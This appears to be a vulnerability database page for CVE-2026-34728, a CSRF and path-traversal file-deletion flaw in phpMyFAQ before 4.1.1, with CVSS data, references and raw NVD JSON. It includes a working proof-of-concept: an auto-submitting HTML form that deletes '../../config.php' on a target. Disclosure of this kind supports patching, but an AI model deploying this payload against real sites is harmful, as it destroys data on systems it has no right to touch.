CVE-2026-34728

Description

phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.

CVSS Details

CVSS Score

8.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:* - VULNERABLE

phpMyFAQ < 4.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CSRF Arbitrary File Deletion -->
<!-- Attacker hosts this HTML and sends the link to the admin -->
<html>
  <body>
    <form action="http://target-site/index.php" method="POST">
      <input type="hidden" name="action" value="media" />
      <input type="hidden" name="ajax" value="fileRemove" />
      <!-- Path traversal payload to delete config.php -->
      <input type="hidden" name="name" value="../../config.php" />
      <input type="submit" value="Click me" />
    </form>
    <script>
      // Auto-submit the form when the page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34728
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34728
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34728/
[4] VulDB https://vuldb.com/cve/CVE-2026-34728
[5] https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1
[6] https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x
[7] https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34728", "sourceIdentifier": "[email protected]", "published": "2026-04-02T15:16:41.770", "lastModified": "2026-04-07T14:57:06.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', \", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1.1", "matchCriteriaId": "407BB5BA-44EA-49EB-8072-4ACD67864598"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}